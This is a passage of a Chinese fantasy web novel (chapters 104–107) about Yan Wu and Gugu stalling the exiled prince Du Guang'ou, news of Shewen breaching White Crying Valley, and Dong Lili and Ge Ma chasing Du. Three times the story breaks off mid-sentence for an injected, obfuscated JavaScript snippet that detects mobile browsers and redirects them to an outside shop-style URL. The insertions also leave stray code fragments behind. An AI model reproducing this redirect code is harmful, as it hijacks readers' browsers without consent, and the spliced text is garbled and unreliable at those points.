听到这里,古古不由得打量了一番杜光欧,这个总是形单影只的男人不知为何给她一种心口不一的印象。明明那董莉莉和葛马二人四下寻找他的身影,想要和他团聚,可从那两人的描述来看,杜光欧更倾向于独自行动。可这人现在却又说羡慕身边有人陪伴的燕无,一边想要,一边又不想要,这不是矛盾吗? 血皑王室的目光落在甾染内承的脸上,那双灰色的眼眸透出一种仿佛能穿透人心的清亮,可是如果仔细看去,却感觉这人的神情飘远,像是在看着远处的什么一般。男人有些突兀地开口,说道:“内承,我们很像。” 燕无眨眨眼,不明所以。 杜光欧:“或许你并不喜欢这种说法。毕竟,没有什么人愿意被这么说。人们都笃信自己和芸芸众生不同,想要从某个庞大的定义中抽离,对自身的独特性坚信不疑。” 燕无开口,“我还什么都没说。我并不讨厌这种说法。” “所以,我说了,我们很像。”杜光欧道。 “……”燕无沉默了半晌,问道,“血皑城的二王子,你今天愿意见我,其实我很意外。昨天,父王与我的态度都非常明确,他愿意协助你,而我则不然。今天我找你来详谈,也没有说明是想要答应协助你,你为什么还愿意来见我?” 对面曾经的王室如是说:“昨天,武王倒下之后,陷入了一阵昏迷,你们的人便带他离开了政议厅。后来,我去求见他,下人却告诉我他仍在休息。所以,我没有办法。你说你要见我,我就只能抱着一丝不切实际的期望,寄希望于我能够说服你,而来到了这里。” 燕无问:“你想怎么说服我?” “这很漫长,要从我们的父辈开始说起。” “漫长的光阴何时都有,在无聊的加持下,就更加缓慢。你想从创生之日说起都无妨,我会在这里听到你尽兴为止。”燕无道。 他们需要拖延时间,下人说葛马和董莉莉在王城门口接受盘查时耽误了些时间,所以可能会迟来一阵。所以,这段时间里,在这间会客室的他们,必须以任何方法拖住杜光欧。听对方开口讲述过去的事,或许是一个不错的办法。 104. 刻意的交错3 杜光欧说道:“有一些过往,你我熟知。你的父亲燕雁和我的父亲杜义曾经是朋友,两人所向披靡,统一了天骨盆地周围的聚落,最终拿下了血皑城。” 燕无应和,“他们的壮举我未曾亲眼所见,但故事我未曾忘却。” 杜光欧继续说:“原本,你的父亲燕雁会是血皑城的城主。毕竟,我父亲杜义并不是一个那么深得人心的领导者。” 燕无并没有多么惊讶,“好像是有这样的事,父王也曾经说过,按当年众望所归的进展,现在的血皑城主,当是他。” “这之间发生了什么事,你清楚吗?”杜光欧问。 “……大概知道。”燕无说,“是有黎礼这么一个女人,从中挑拨离间,破坏了杜燕两家的关系。那之后,我父王一气之下离开了血皑,来到甾染,建立城池,发誓与血皑势不两立。” 杜光欧缓缓地眨眼,目光变得深邃,“虽说势不两立,但是这些年来,我却从未听说甾染有攻打血皑的意图。” 燕无不假思索地道:“父王依然挂念着当年的情谊。” “没错。因为,他知道杜义也是受害者。”杜光欧如此说着,面无波澜,就仿佛在说别人家里的事情一样,“就像你说的,他们分家的真正原因是黎礼。而具体的原因,是她杀害了你我二人的母亲。” 燕无面色一滞。显然,这是他不知道的事情。他皱着眉,向杜光欧确认道:“你是说,血皑的城主夫人,如今篡权将血皑收入囊中的人,那个黎礼,曾经杀害了我的母亲冷支佛和你的母亲卞萝。” “是这样。”杜光欧道,“父亲不相信是黎礼做的,一直在包庇她。而你的父亲燕雁,则一开始就看出了黎礼的狡诈,劝我父亲杀掉那个女人。但是,父亲始终不肯相信那是黎礼的作为,甚至,在几年之后娶了她为妻。燕雁估计也是因此心灰意冷,所以才离开了血皑。” 燕无沉默片刻,道:“这么说,黎礼也是我的仇人。” “没错。” “这就是你想告诉我的,对吗?你认为,当今血皑的大权手握者,也是我必须铲除的对象。” “我的确有这么说服你的意图。”杜光欧直白地道,目光也坦率。他给人一种过分的体面之感,有时一句话能问明白的、一句话能说清楚的,他总是循序渐进地说,“那么,你的想法如何?” 燕无思索了一阵子,他双手交叉放在台面上,目光盯着自己的一截裸露的腕子,一时没有说话。而另一边,杜光欧则在耐心地等待着。 桌面上摆着几碟小食和浆果,可它们只是一直被孤零零地冷落着,心思各异的几人显然都没有进食的欲望。 半晌,燕无闭上眼睛,摇了摇头,“抱歉,只是这样,依然无法说服我。母亲的事已经过去,虽然客观的角度上来说,或许我与黎礼之间仍有仇怨。但是,人活在当下,更应该为那些活着的人着想,而不应该为了已经死去的人再牺牲更多无辜的生命。” “所以,你的回答是……” “与血皑开战,会损耗甾染太多的兵力。而现在,我们的重心不在南陆。”燕无诚恳地说道,“我可以告诉你甾染现在正在对抗什么。那是北部最强大的敌人,摄文。如果不是白鸣谷将他们拦在北地,恐怕在很久之前,这整片大地都会沦为摄文的附属。甾染位于白鸣谷的南侧,就有义务将那个城市——不,或许我应该称之为国家,这个自大寒潮之后便灭绝的概念——是的,那个国家,我们有义务将他们拦在北地。” 话题一转,来到了大陆极北的那片大陆上。杜光欧似乎对那里并不了解,模样若有所思,他问道:“摄文的规模已经如此庞大了吗?” “据我所知,每年都在壮大。”燕无神情严肃,说道,“我收到了消息,他们似乎正在凿山,意图打通白鸣谷的通路,使它足够让大军通过。摄文的行为必须得到扼制,否则,若是让他们打通了山谷,一切将不堪设想。” “……这是很严重的消息。”杜光欧说。 燕无沉下眼睑,道:“我们和摄文人打了很多年,深知他们的恐怖。这些年,我一直在白鸣谷和摄文的大元帅斗智斗勇,他名叫闻人佐,经验丰富,多次险些攻破白鸣谷。但是,他并不是最棘手的那个……” “姜昆维。”杜光欧即刻道。 “对,摄文王姜昆维。”燕无说出这个名字的时候,非常地语重心长,仿佛那是什么难解的难题。 杜光欧问:“听说他能预知未来,这是真的?” 燕无:“从燕家这么多年和摄文交战的经验看来,不排除这种可能性。得益于白鸣谷的天然优势,我们虽然能够守住这个大峡谷,但是,却无法攻入北地。我们的任何动向,似乎都能够被预知,每次将士们的出征,都面临着有去无回的惨痛代价。” “……听起来,那里的王,也是一个棘手的人物。”杜光欧如此说道,他说这番话的时候,从他衣服口袋里摸索,掏出来了一个小匣子,它是木制的,非常小,几乎装不下什么东西。而杜光欧打开它,从里面取出了一个指甲大小的圆球,那似乎是颗药丸。他将它举在手中,突然,他神情变得有些懈怠,表情沉寂下来,像是受到了什么打击一般,萦绕在他周身的气氛变得低沉、朦胧。他突兀地说,“……所以,燕无,这才是你痛苦的根源。” 他突如其来这么一句话,上句不接下句,让对面的人不明所以。燕无神情疑惑,道:“你说什么?” 杜光欧回神,将那颗药丸收回了匣子里,表情恢复正常,“抱歉,我们聊得时间有点长,注意力有点不集中了。” 他们并没有聊多久,这是个显而易见的谎言。 燕无盯着杜光欧手中的木匣,朝他问道:“那是什么?” “并不是什么值得在意的东西。”杜光欧将它收起来,身体向后靠去,显露出一副有些疲惫的神态,“我们说得足够多了,我也已经知道了你的态度,那么,我就不耽误彼此的时间了。放心吧,我不会继续纠缠武王,我会离开甾染。” 燕无问:“你要去哪?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930694|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>杜光欧答:“我会离你们很远,去摄文。” 燕无眉目疑惑,神情不解。他目光上下扫视着杜光欧,像是不理解他突然的这番话。 血皑人在打开那个药匣之后,仿佛突然变了一样,没有了再争取的意图,还说要去那正与甾染交战的北地。他态度转变得如此之快,让人不清楚他究竟在想些什么。 燕无给古古试了个眼色,古古理解那是什么意思。杜光欧已经有了离开的念头,然而,葛马和董莉莉两人却迟迟没有出现。 “等等。”燕无如是说道,似乎是企图再争取一些时间,“我们可以聊聊之后的合作,如果,甾染能够想办法把摄文扼制在北地的话,或许能够抽出兵力来——” “我接下来说的话,还请你不要生气。”杜光欧站了起来,打断了燕无的话,“恐怕,在你们解决摄文的问题前,就会被黎军夷为平地。” 燕无一滞,一时语结。 “我这么说,并不是想要劝你放弃把守白鸣谷,我说了,我已知晓你坚定的态度,我不会想要改变什么。”杜光欧如是说,他的态度温和,却又有种看穿了一切的漠然。他态度的截然转变,发生在他掏出那个药匣之后,好像打开它之后,他便突然想明白了一些事,这份清醒使他认为没有继续在这里纠缠下去的必要,“我只是想给你一个提醒,无论你是否接受我的善意——” 他的话像布道者的祷告,神情有种不知何起的悲悯,“——黎礼很强,她的军队有着颠覆你我认知的武器。你不知道自己将要对抗什么,内承,那不是什么精兵良将就能够抵抗的。” 燕无显然无法相信杜光欧的话,他道:“……你是在说,甾染作为南陆实力最强的军事城池,对黎军没有任何抵抗的手段?” “这点,我不想再与你争执。你要是想知道真伪,就让时间和事实告诉你吧。但是你可以相信,黎礼一定会向甾染进军。因为,我们的父辈虽然曾有隔阂,但终归,他们都是黎礼的敌人。” 杜光欧说完,就要去握会客室的门把手。他的座位离门口很近,几乎转个身就能离开。 “等等!”古古立刻站起来,叫住他,“你还不能走!” 杜光欧回首,他问:“为什么?我们已经没什么好聊的了。” 古古支支吾吾,一时说不出个所以然来,她又和这个血皑人没什么接触,两人是彻彻底底的陌路人。 就在这个时候,杜光欧又去口袋里摸索,掏出了那个药匣,他打开它,注视着它。然而,这里除了杜光欧本人以外,没人理解这个举动的用意。 下一刻,杜光欧露出有些惊诧的目光,他自然自语道:“居然这么坚持不懈,追我追到了这里……” 紧接着,他将药丸收回药匣,又将药匣收进了贴身的内袋里,他朝古古和燕无看过来,目光里尽是了然,他道:“原来,你们邀请我来密聊是有这样的最终目的。虽然好奇你们为什么愿意帮他们……不过,算了。” 他说完这番话,毫不留恋地推开门。 105. 刻意的交错4 身影离去,门被他啪一声合上。 古古连忙追上去,撞开门,四下望去。然而,在空荡荡的长廊上,她丢失了杜光欧的身影。门口待命的下人都倒在地上,看样子是昏迷了过去。 这时候,长廊的拐角走来了几个人影。定睛望去,那里面有葛马和董莉莉,下人带着他们,正在疾步往这里赶来。 他们来到了古古的身前,询问她杜光欧是否就在这间屋子里,女人的卷发在背后乱成一团,可见是怎样奔跑的风吹过它们。此刻,她的眼睛里流露着期盼的神色,等待着古古的回应,然而,古古无法回应她的期待,她只是有些怔怔地朝他们问道,“你们在过来的时候,没有看见杜光欧?” 对面的两人一愣,董莉莉说道:“没有……他不在房间里吗?” “我们还没聊多久,他突然就走了,我没来得及拦住他。然后……”古古有些茫然地道,“我追出来,他却一瞬间就消失不见了。” 董莉莉朝四周望去,她目光落在门前倒下的下人身上,而后又转向周围的景色。会客室的对面是一排镶满了玻璃的墙,葛董两人从廊道的东侧赶过来,没有见到杜光欧的身影,西侧是一条无边的长廊,空荡寂静。在这目光所及的所有地方,都没有留下一丝那个人的踪迹。 董莉莉的声音小下去,模样有些不知所措,“不会吧……” 葛马凑上来,急切地问道:“他说他要去哪了吗?” 这时候,燕无也从会客室里走了出来,他对两人说道:“他说他要离开甾染,去摄文。” 对面的两人沉默了,他们像是对这个结果没有感到太多的意外。 燕无招呼来了下人,叫他们去追寻杜光欧的踪迹,毕竟,这是他们承诺过的。交代完后,他对葛马与董莉莉二人道:“不知为何,他似乎知道这次邀约的最终目的是撮合你们见面,他……似乎预感到了这一切,所以跑了。” 董莉莉的模样有些低落,“果然是这样……” 燕无问:“你意料到这样的情况了吗?” 董莉莉摇了摇头,“我不知道会发生这种事。但是,在这次行动之前,我的确没有什么信心。因为,我们追他也追了挺久了,感觉离他又近又远,有时候,明明快要追上他了却总是被他抢先一步甩开。就是从那个时候开始,我明白过来,他是在有意躲着我们。后来,我们就总是与他失之交臂。” 葛马也说道:“虽然不知道贵人用了什么手段,但不得不说,他当真是把我们耍得团团转。无论想出什么办法和他碰面,都会被他巧妙地避开。这已经是第几次了,莉莉?每当我们觉得就快找到他的时候,就会和他擦肩而过。” 董莉莉垂眸,不知想到了什么。她抱住了自己的双臂,有些冷似的,上下摩挲着,“记不得了。” 葛马声音放轻了,目光怜惜似的看着董莉莉,商量着问她,“还追吗?快到和你家小妹约定好的时间了,如果再不回去的话……” 董莉莉沉思了片刻,声音微弱但坚定,“追。” “那要追到什么时候为止?”葛马问,他倒是没有显露出不耐烦的模样,似乎只是提出了这样一个问题,并好奇它的答案。 这时候,一阵急促的脚步声传来,打断了几人的对话。 来者是个一脸严肃的将士,从他衣装上勋章的数量来看,他的军衔并不低。 “内承大人!”他如此呼喊着燕无,面如磐石,神情严峻,“摄文有动向了!” 燕无神色一凛,一掀披风,朝那将士靠拢,“发生什么了?” 将士汇报,“先前派去白鸣谷的探子回来了,他发现了摄文军队的工程建设设施,敌军对白鸣谷的开凿已经进入了最终阶段!他们开辟的山道处于白鸣谷西侧,是我军一直未曾留意的偏僻之地,距离甾染大约有三日的路程。现今,工程已经临近完工了!” 燕无的神情十分严肃,他不管这里是否还有外人、也无暇再去顾及一般,朝那来信者问道:“距离他们穿过白鸣谷,大概还需要多少时间?” 对方回答他,“据探子汇报,他们正在搭建最终的凿山工事。一旦工程完毕,敌军破坏了白鸣谷南侧的山壁,那么,摄文大军便能够向我城方向鱼贯而入!” 燕无神情变得阴森一片,他当即抬腿,径自往长廊的西侧走去,像把在的场人都甩到了脑后一般,“传令一至三军将军,带兵直接来城门见我!五军也来!” 将士领命,“是!” 就在此刻,古古朝他的背影喊道:“燕无!” 这不是一个应该去打扰对方的时刻,可是,她的困惑让她不得不开口。 她想问他,为什么还要这么在意白鸣谷的战事,之前不是已经说了,要放弃继任武王吗?明明处理完董莉莉和葛马的事情,他们就可以出发去找燕戎陵,再把这沉重的王权交托出去。可如果现在要去打仗的话,这件事又要延后了,每多在这座城池里待上的一刻,不都是一种折磨吗? 但是,这些话,她不能当着外人的面对燕无说。尤其是,这里还有一个等待内承做出决策的将士。她知道,如果让那些将士知道了燕无退任的打算,会牵连出怎样的动荡都不好说。 燕无听到了古古的呼唤,转过头来。起初,他的视线是疑惑的,像从一件专注的事情中抽身一般迷茫,就仿佛他全身心都已经投入到当下的战事当中。可是,当看到古古那欲言又止的眼神,他似乎明白过来了什么。 甾染内承一时什么也没说,他若有所思地侧过身去,给古古留下一个缄默的侧影。 而后,他彻底地背对着她,继续往长廊的西侧急行,对自己当下的行为没有做出任何解释。仿佛他自己也清楚,他现在的行为,正和他们两人的期盼背道而驰。 即便如此,他似乎也下定了决心要这么做,这点从他毅然决然远去的背影里便能看得出来。 对于古古的挽留,他鲜少地没有做出回应。 “父王在哪?”燕无头也不回地往前走,一边向跟随在他身侧的将士问道。 对方回答他,“武王昨日突然大病不起,到现在都还没有醒来。” 燕无:“……通知指挥部,传令下去,父王身体抱恙,这次出兵由我指挥。” “是。” 燕无的身影和那将士一同消失在了廊道的拐角,这突入其来的插曲,打断了他们本来正在攀谈的事情。 葛马和董莉莉还困惑地站在一旁,一个血皑人,一个西索人,他们自然不理解白鸣谷即将被摄文打穿的含义。 古古理解那意味着什么,它代表着战争的全面打响, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12946403|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这片大地上冷寂数十年的庞然战役,可能又要浴火复生。但是,她其实不在意这些。自从她在荣光街的家里看到母亲的那封信、和燕无说了那番话以来,她突然觉得甾染的事情离她很远。仿佛,她的心已经不在这里,魂也已经飘出去了老远,它们去到了燕无向往的牧盟,在找寻着母亲信中提到的元城。 总而言之,她的心已经不在甾染。这座城池是多么地、多么地可怜,只要人们生出一次离开它的念头,便再也消除不了这样的想法。他们是如此,在他们之前离开的人们更是如此。 所以,古古不明白,为什么燕无依然想要为这座城池做些什么,它兴也好,亡也好,不都和他们没有关系了吗? 她以为,他们都一样,已经再也忍受不了这座充满了苦难回忆的地方,已经迫不及待地想要离开这里。 可燕无到底为什么,还要亲临这次的战场? 这个问题,在那个人凯旋归来之前,恐怕得不到答案了。 “古古。” 董莉莉的声音唤回了古古的神志,她看向自己身旁的女人,对方露出一种似乎从不动摇的视线。来自血皑的贵族总是这幅温柔且坚定的模样,仿佛不管到了何时,也能临危不乱。 古古想,自己可能一辈子都无法像她那样,自己会害怕,会恐惧,会大惊失色,会手足无措。比如,现在,燕无离她远去的当下,她便感觉到孤独,无边的孤独。她不知道什么时候才能再见到他,战争一旦打响,率领众军的内承,恐怕很长时间不会在城内出现了。 而她感觉到异常的失落,因为,她以为自己已经永远都不必与他分离。这巨大的落差毫无疑问地显现在她脸上,这种因失去而生的强烈情绪,是她如何想掩饰,也无法掩饰的。 “古古,我们也要走了。”董莉莉如此对她说道,“我们要去追光欧,谢谢你这些天来帮助我们。” 古古看着董莉莉,回想起这些天的经历。一切发生得那么快,她第一次在军营前见到这葛董两个人,似乎已经是很久以前的事情。但是,实际想一想,距离那时也才过去六日而已。 “你们……”古古看了眼董莉莉,又看了眼葛马,祝他们成功的话就在嘴边,可是,她说不出来,此刻已经没有心思去管别人的事,只感觉到阵阵无力的疲惫。 红头发的西索人露出一个微笑,那个总是大声嚷嚷的男人难得沉静,就像是风雨过后的湖面,脸上是最后一滴雨落时荡开的和缓神情,“小姐,我们的交易依然作数。虽然我们还是没有见到杜光欧,但是,你的确也为了我们做了很多。” “我没帮你们什么。”古古实事求是地道。 葛马坚持说:“之后我会回来找你的,答应给你你母亲的信,我也会信守承诺。” “你没必要这样……”古古打心眼里这么认为,她的确没有帮助到两人,再让男人折腾一趟只为送信,就有点太说不过去了。 可对方依旧不懈,“不光是你母亲的信,还有之前答应你的那三个问题,你也随时都可以问我。现在没想好,那就留到将来。” 听到这里,古古盯着眼前的西索人。 将来?将来她不会还在甾染,只等燕无凯旋归来,他们就会离开这个不再有留恋的地方。就算葛马回来,他也再也不会找到她了。 106. 刻意的交错5 想到这里,古古突兀地对葛马说:“你能告诉我,这场战争什么时候才能结束吗?” 葛马一愣,他思索了片刻,目光认真严肃了起来,说道:“很快就会结束。” “真的?”古古问。 “真的。”葛马笃定地说。 古古她有些怅然,又问道:“那么,我和燕无,能得到我们想要的东西吗?” “能。”男人说。 “我和他还会像这样再度分离吗?” “会,但最终不会。” 古古并不能辨析葛马是当真认为他们能得偿所愿,还是在安慰她,她已经不在乎了。 “三个问题问完了,谢谢你。”古古说道,“你们要去追杜光欧的话,就从北边的长阶梯下山吧,那里是最快的通往大门的路径。” “谢谢,古古。”离开之前,董莉莉这么说道,“希望我们还会再见。” 葛马和董莉莉匆匆离开了,这偌大的廊道,只剩下了古古一人。 她的身型非常矮小,站在这廊道之中,就仿佛要被两侧高耸的墙壁挤压吞没一般。从生下来那天开始,她就是周围同龄人里最矮的孩子。明明古奈歌的身形是那样苗条高挺,可是,她却没有继承母亲这方面的优点。 她一直很疑惑,这会是受到父亲的影响吗?还是有什么她不知道的因素在里面。 她很好奇,她太想知道了。父亲是一个怎样的人,为什么会离开他们,他是不是身在元城,他还活着吗,现在又在做些什么。 可是,现在还不能探究自己身世上的谜团。因为燕无还在甾染,她生命的另一半还在这里,她已经不记得没有他的日子里该如何生活。一个人要怎么吃饭、办公、睡觉?怎么应对身边的人,还有变化莫测的大千世界?她只是想一想,就感到一种焦灼的难过。 这是一种病态的依赖,她知道,但是,她愿意保有这种一旦分离就痛彻骨髓的共生关系。 等他回来吧。古古如此想道。虽然不知道燕无一言不发离开是因为什么,也不知道男人此刻在想什么,但是,她愿意相信他,她相信他没有忘记他们的承诺。等打完了仗,他们的愿望就能继续实现下去了,虽然时间延后了,但她相信,他们得知真相、归往自由的那天,一定会到来。 先去牧盟,再去元城,她已经什么都想好了。为此,她要去做准备,等燕无凯旋归来的时候,他们就能立刻上路,马不停蹄,头也不回。 古古整理好了自己的思绪,抬腿动身,缓缓地踏上独自一人的道路,离开了这条一度人影攒动的廊道。 ## 颠簸的石路上,董莉莉边走着,边在眼前展开了一张牛皮图纸,那上面是甾染的地形图。 葛马走在她的前面,两个人正在疾步行进,一个查看周围的地势,尽量往平缓的路面引导,一个则在后面专心地投入在地形图上,尾随前者,相信着他所引领的路线。 就这样,两人迅速来到了甾染的城门。 “莉莉,我去马厩把纳七和黑蹄牵过来吧。”葛马提议说道。 那是载着他们一路走来的老伙伴,两头在甾染很少见的驯鹿,因为这城里没有鹿棚,所以只好把它暂时送进了马厩。董莉莉想了想,说:“不用了,接下来的山路用双脚比较好走。” 葛马不明所以,“啊?我记得这里到白鸣谷的路是平地呀,还有牧场和农田之类的。” 董莉莉铺开了地图,戴着半指手套的手在上面划过,指尖在甾染城外的地块上停留,“没错,正是因为城外是平地,所以,有很多的民用设施落座于其上。我们要绕开那些密集设施前进的话,太耗时间了。” 葛马凑过来,看了一眼地图,目光扫来扫去,就像是完全看不懂一般,紧接着说道:“我都听你的,这方面你是行家!” 董莉莉道:“那我们就走过去,回去找纳七和黑蹄也需要花时间,我们不能耽搁。” 两人又上了路,沿着甾染的城墙向白鸣谷进发。这条路临近山脉,全是石子和沙地,没有住民在这里放牧种地,只是路面较为坎坷,高低地势不平。但是,从距离上来说,这的确是离白鸣谷最近的一条道路。 葛马依然走在前面,遵循董莉莉告诉他前进的大致方位,为两人寻找着可变范围内最平坦的道路,“莉莉,你说,我们这样能追上他吗?” 董莉莉回答道:“他和我们离开甾染的时间相差无几,没有本地向导的话,他的速度不会比我们更快。” 葛马侧过头来,笑着说:“哇塞,这么厉害,能和一座陌生城池的本地人相提并论。我真不敢想象,要是没有你,我们这一路要走多少弯路。” “只是习惯罢了。看路,葛马。”董莉莉已经习惯了葛马的奉承之词,丝毫没有感觉到难为情。印象里,这个男人对夸赞之词毫不吝啬,虽然让人听着心情不错,可是,也只是心情不错而已,“城池周围的建设无非就是耕地、牧场,有些战乱频发的城池会在外围更远的地方建立防御工事。但显然,守着一座山的甾染并没有这个必要,它视野良好,易守难攻,不需要再去外围建立哨岗,它有着天然的铜墙铁壁。” 葛马回过头去,专心看他脚底下的路。去往白鸣谷的道路非常的无聊,除了光秃秃山壁,就是凌乱不堪的石子。葛马走了两步,显然按捺不住,又和董莉莉聊起天来,仿佛只有这样才能打发这漫长的路途时间,“这么听着甾染倒是挺安全。但是我怎么觉得……这里的人都过得不那么开心,尤其地位越高的人好像越是这样。” “他们也都说了,甾染是一个军事城池。这里战争不断,对于那些想要安稳生活的人,恐怕不是什么太好的选择吧。这不是我们刚来,仗似乎就要打起来了吗?”董莉莉道。 “……也是。”葛马回头望了一眼他们离开的城门口,只见已经有一只大军在平坦的土路上待命。他发出一声怪叫,像是突然想起来什么,和董莉莉兴致勃勃地分享道,“不过话说回来,我是真没想到,贵人居然混进了甾染的尖兵招募,而且还拿到了前十的名次,他有那么能打吗?不,没有质疑的意思,只是我没什么印象了,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12967909|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像从来没亲眼见过他真正意义上的打架斗殴?” 董莉莉思索了片刻,她印象里,杜光欧绝对说不上弱,他比一般士兵要强很多。但是,天外有天,就血皑的军事实力而言的话,他显然不是大将军默龙和女骑黎梦的对手,而在这之上的,还有血皑的那些暗影内卫。 “光欧应该有自己的方法吧。”她说,“我印象里,他是一个运气很好的人。” “运气很好?”葛马似乎有些不解,他沉吟一声,说道,“运气很好……吗。但是,就他的经历而言,说不上运气太好吧。” 董莉莉道:“我指的是,他总能在险境中化险为夷,每次都看得旁人心惊胆战。无论是战斗,还是在险地探索,他好像总能找到安全的解法。” “嗯,这么说的话,他可能确实有什么独到的能力。”葛马突然想到了什么,来了兴致一般,说道,“欸,莉莉,你说会不会他也是有神力的人啊?” 在葛马的帮助下,董莉莉翻过了一块巨大的岩石。她拍了两下遍布灰尘的手,没太听明白葛马的意思,问道:“什么神力?” 葛马情绪高昂,诉说着自己的结论,“不是说这世界上有天赋异能者吗,有人掌握分身大法,还有人能预知未来,我还听说,有人能将自己封与寒冰之中,长生不死。说不定贵人也有什么神力呢?” 董莉莉一笑,摇了摇头。她也听说过这些传闻,不过,这还是第一次听人这么煞有介事地把它们说出来,“比起那些从来没有得到过证实的传言,我还是更惊讶于你的坦白,葛马。” 葛马偏头,指着自己冻得几乎和发色一样的、通红的鼻子,“啊?我吗?” “对啊,我从来没想到,你居然是会做出那种偷鸡摸狗事情的人。偷看别人的信这种事,可不算光明磊落,你就那么在当事人的面前承认了。”董莉莉说,她话语中没有责备的意味,像只是在和一个朋友开玩笑一般,“你应该知道,这种事情要是被人发现,又不巧卷入了什么大事之中,可是要没命的。” “哇,莉莉,不要用那么平静的语气说出那么吓人的话啊。”葛马说,他大张旗鼓地哆嗦了一下,像是因对方的话而胆寒,“不过,你冤枉我了,我才不是那种小人!其实,我那么说啊,只是为了让那个小经贸师信服。我要是直接说,我对这个世界无所不知,无论什么事我都知道,也没人会信我,对不对?” 董莉莉笑起来,颇有点揶揄他的意味,“难道说,葛马,你才是有神力的那一个?” “对咯!”葛马打了一个响指,“没开玩笑,这天底下的事啊,我全都知道。但是,我要是这么说的话,也没人肯相信嘛,所以我就假借偷看信的不道德名义,让人们以为我是通过这种方式才得知那些私密的信息。” 男人为了掩盖自己小偷小摸的行径,临时给自己安了个异能的头衔。董莉莉只觉得,葛马有时候好像还是个小孩子一般。她笑得开心,丝毫没有要揭穿他的意思,应和他道:“好,我相信你,葛马,相信你对这个世界……怎么说的来着,无所不知?” 107. 刻意的交错6 “没错!”葛马说道,鼻子翘得老高。 她感觉自己在哄一个小男孩,语气都变得柔和了起来,“那你的这份能力,有没有名字啊?” “唔,这我还真没想过……”葛马似乎被问住了,他思索了良久,抓耳挠腮,很是困扰。最终,他似乎终于从他那可怜的脑袋里想出了这么一个描述,“就叫轮回力吧。” 董莉莉皱眉,不知为何葛马给出了这样一个名字,“嗯?这叫法和你刚才所说的无所不知好像并不沾边。” 葛马笑起来,朝董莉莉露出他的侧脸。不知为何,她从他脸上看出了一丝风霜的痕迹,这不对劲,那是只有出现在老者身上的一种沧桑之感,它断不会属于一个生命还未过半的年轻人。 “不用管那些细节,只需要知道我的确是通过这种方式获取知识的就够了。”男人如是说道。 董莉莉眨了眨眼,然而,葛马已经将头转了回去,寒风掠过他的发尾,带动那杂乱的短发在空中翻飞。 走了一阵子,他们来到了白鸣谷边界。 远远望去,那里簇拥着一条长队,队里面的都是等待穿越白鸣谷的人。他们之中大多是商人,身后跟着运货的雪橇和马车,那些人身上都携带着白鸣谷的通行文凭,只有携带这个凭证,才能通过这条狭窄的山谷。 两人在高处伫足,远远向那又长又宽的队伍望去。可是他们所在的高点离队伍还是很远,无法分辨每个人的面孔,看不清杜光欧是否在里面。而且,就算在这么远的地方发现了他,再赶过去,时间上恐怕也来不及了。 于是乎,两个人商量着,打算兵分两路,二人分别走在队伍的两侧,一齐向前端走去,搜寻杜光欧的身影。 想清楚了计划之后,两人朝那低矮的地势前进。一路上,他们看到了许多正在前往白鸣谷的人,也有很多从白鸣谷出来的人,这个关口每天似乎都有很多人穿行,毕竟,它是南北两路目前已知的唯一通路。 他们先是从前到后检查了一遍整只队伍,装作是不认路的路人,其实是在打量每一个在队伍里的人。看过了整只队伍,没有发现杜光欧的踪迹,于是,两人便去到更靠近甾染的那一侧,在白鸣谷关口不远处截堵他。 董莉莉负责守着右侧,她便待在一处岩壁旁边,佯装一个疲累的人,在一旁休息。这附近有许多这样的人,他们不知出于什么原因,一直在这白鸣谷周围徘徊,似乎并不携带通行的凭证,也没有就此放弃的打算。 而葛马则守在另一侧,他们两人之间人影往来络绎不绝,透过不时出现的间隙,董莉莉偶尔能够看到葛马的身影。 就这么待了一阵子,杜光欧还是没有出现。 一只飞鸟飞过日头,在董莉莉的脸上留下了一瞬阴影。谷道间的风很大,她裹紧了身上的披风,却依然听见它猎猎作响。 就在这时,又是一片阴影笼罩下来,只是与飞鸟的影子不同,这片暗影在董莉莉的头顶迟迟不去。 董莉莉抬头,发现她面前站着一个高大的男人。对方身形纤长,穿着一身黑色长袍,看上去斯斯文文的。他垂眸注视着她,睫毛像扇子一样浓密,五官十分深邃,脸上带着善意的微笑。 他完全霸占了董莉莉的视野,后者觉得有些别扭,便从地上站起来正视对方。尽管这黑头发黑眼睛的男人是笑着的,可董莉莉却觉得对方没那么好惹。 “这位女士,请问是要去北地吗?”男人问道。 董莉莉站起来之后的身高还是和男人差上一截,这份悬殊带来的压迫感,让她不由得想起了古古身边的那个内承燕无。 而且……他是不是和内承长得有点像? “我这里有多余的白鸣谷通行凭证,如果女士感兴趣的话,我们可以聊聊价格。”男人说道。他向怀里掏去,拿出了一张有烫金镶边的卡片,那上面写着冗长的文字,还有两个印章,一个属于甾染,一个属于摄文。 